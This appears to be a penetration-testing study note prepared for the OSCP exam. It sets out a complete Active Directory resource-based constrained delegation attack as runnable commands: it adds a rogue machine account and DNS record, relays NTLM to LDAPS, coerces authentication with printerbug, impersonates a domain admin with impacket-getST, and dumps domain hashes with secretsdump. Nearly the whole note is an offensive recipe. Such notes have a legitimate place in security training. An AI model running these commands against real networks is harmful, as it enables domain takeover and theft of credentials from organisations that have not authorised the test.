oscp/Necronomicon/Attacks/Active Directory/Delegation.md

• Resource-Based Constrained Delegation
  • msDS-AllowedToActOnBehalfOfOtherIdentity - Property on an AD object that allows what users or computers have rights to delegate to that object.
    • Only accounts with SPNs, like machine accounts created by domain users, allowed to be added to this property
  • Prerequisites:
    • No LDAP signing on DCs
      • cme ldap –u ValidUser –p ValidPass –M ldap-signing
    • Account with a SPN that can be added to msDS-AllowedToActOnBehalfOfOtherIdentity
      • Check: cme smb –u ValidUser –p ValidPass –M maq
    • Need a way to coerce authentication (printerbug, petitpotam, etc.)
  • Exploitation:
    • Add machine account (with a SPN)
      • impacket-addcomputer -computer-name 'uniqueName' -dc-ip <DC_IP> domain/user:password
    • Add DNS record to force HTTP authentication
      • python3 /opt/krbrelayx/dnstool.py -u domain.local\\ValidUser -p ValidPass -a add -r <new_unique_DNS_name> -d <attacker_IP> <DC IP>
    • Start NTLM Relay
      • impacket-ntlmrelayx -t ldaps://dc01.domain.local -wh <attacker_IP> --delegate-access --escalate-user <owned_account_with_a_SPN> --no-dump --no-acl --no-da --no-validate-privs
    • Coerce authentication
      • python3 /opt/krbrelayx/printerbug.py domain.local/ValidUser:ValidPass@remoteHost <added_DNS_record>@80/fakepath
    • Request a TGS to impersonate a domain admin on the target host
      • impacket-getST -spn cifs/remoteHost.domain.local -impersonate <Domain_Admin> domain.local/ValidUser:ValidPass -dc-ip <DC_IP>
    • Set the ccache environment variable for impacket
      • export KRB5CCNAME=<Domain_Admin>.ccache
    • DCSync to dump hashes
      • impacket-secretsdump -k -no-pass remoteHost.domain.local